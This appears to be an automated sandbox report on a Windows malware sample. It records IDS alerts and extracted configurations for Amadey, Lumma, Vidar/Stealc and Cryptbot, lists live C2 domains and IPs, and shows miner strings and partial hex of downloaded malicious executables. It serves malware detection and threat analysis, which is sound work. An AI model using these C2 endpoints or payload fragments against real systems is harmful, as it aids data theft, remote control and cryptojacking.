2024-12-20T21:14:14.777590+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	59477	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:14:13.753753+0100	2044247	1	Malware Command and Control Activity Detected	116.203.12.114	443	192.168.2.6	50026	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:14:16.045110+0100	2051831	1	Malware Command and Control Activity Detected	116.203.12.114	443	192.168.2.6	50034	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:14:13.753454+0100	2049087	1	A Network Trojan was detected	192.168.2.6	50026	116.203.12.114	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:14:22.722657+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50067	104.21.21.99	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:13:06.416495+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49836	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:13:20.876831+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49845	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:13:11.114186+0100	2803305	3	Unknown Traffic	192.168.2.6	49849	31.41.244.11	80	TCP
2024-12-20T21:13:23.681256+0100	2803305	3	Unknown Traffic	192.168.2.6	49887	31.41.244.11	80	TCP
2024-12-20T21:13:35.993308+0100	2803305	3	Unknown Traffic	192.168.2.6	49920	31.41.244.11	80	TCP
2024-12-20T21:13:43.919339+0100	2803305	3	Unknown Traffic	192.168.2.6	49939	31.41.244.11	80	TCP
2024-12-20T21:13:49.380056+0100	2803305	3	Unknown Traffic	192.168.2.6	49955	31.41.244.11	80	TCP
2024-12-20T21:14:01.681121+0100	2803305	3	Unknown Traffic	192.168.2.6	49990	31.41.244.11	80	TCP
2024-12-20T21:14:10.446276+0100	2803305	3	Unknown Traffic	192.168.2.6	50020	185.215.113.16	80	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T21:14:08.733448+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.6	50009	116.203.12.114	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1018827001\952a8c77c9.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\1018825001\1c9c0bfc1e.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018826001\4e4758e1fa.exe	Avira: detection malicious, Label: HEUR/AGEN.1320706

Found malware configuration

Source: 0000000F.00000003.2692980967.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://www.microsoft.com0", "Botnet": "1402"}
Source: 47.2.212ab81242.exe.1470000.1.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["necklacebudi.lat", "treehoneyi.click", "aspecteirs.lat", "discokeyus.lat", "rapeflowwj.lat", "grannyejh.lat", "energyaffai.lat", "sustainskelet.lat", "crosshuaht.lat"], "Build id": "rAGxSF--load"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 69%
Source: C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1018827001\952a8c77c9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018825001\1c9c0bfc1e.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018826001\4e4758e1fa.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: rapeflowwj.lat
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: crosshuaht.lat
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: sustainskelet.lat
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: aspecteirs.lat
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: energyaffai.lat
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: necklacebudi.lat
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: discokeyus.lat
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: grannyejh.lat
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: treehoneyi.click
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: TeslaBrowser/5.5
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: - Screen Resoluton:
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: - Physical Installed Memory:
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: Workgroup: -
Source: 47.2.212ab81242.exe.1470000.1.unpack	String decryptor: rAGxSF--load

Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_a60fce96-e

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 42.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.2960214662.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2959247337.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2960101679.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2959247337.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 3924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7116, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.6:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.6:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.6:49979 version: TLS 1.2

Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdb source: 343658ec78.exe, 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdbSHA256\u source: 343658ec78.exe, 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 0000000F.00000002.3439936346.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000000.3115093091.0000000000A42000.00000002.00000001.01000000.00000012.sdmp, random[1].exe2.15.dr
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 0000000F.00000002.3439936346.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000000.3115093091.0000000000A42000.00000002.00000001.01000000.00000012.sdmp, random[1].exe2.15.dr

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49836 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49845
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49879 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49937 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49915 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49951 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49986 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50011 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50019 -> 185.121.15.192:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:59477 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50027 -> 185.121.15.192:80
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:60114 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.6:59275 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:50038 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:50059 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.6:50067 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49950 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49950 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.6:50009 -> 116.203.12.114:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.6:50026 -> 116.203.12.114:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.12.114:443 -> 192.168.2.6:50026
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50038 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50038 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50059 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50059 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.12.114:443 -> 192.168.2.6:50034
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50067 -> 104.21.21.99:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: treehoneyi.click
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: http://www.microsoft.com0
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 20:13:10 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 20:13:23 GMTContent-Type: application/octet-streamContent-Length: 4448256Last-Modified: Fri, 20 Dec 2024 20:03:12 GMTConnection: keep-aliveETag: "6765cd80-43e000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 20 c8 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 c8 00 00 04 00 00 ca 88 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 04 c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 03 c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 74 00 00 10 00 00 00 4c 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 60 74 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 74 00 00 02 00 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 38 00 00 80 74 00 00 02 00 00 00 60 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 64 69 6e 6c 6e 73 6c 00 60 1b 00 00 b0 ac 00 00 56 1b 00 00 62 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 75 78 79 72 67 72 6c 00 10 00 00 00 10 c8 00 00 06 00 00 00 b8 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 c8 00 00 22 00 00 00 be 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 20:13:35 GMTContent-Type: application/octet-streamContent-Length: 1374720Last-Modified: Thu, 19 Dec 2024 17:14:58 GMTConnection: keep-aliveETag: "67645492-14fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 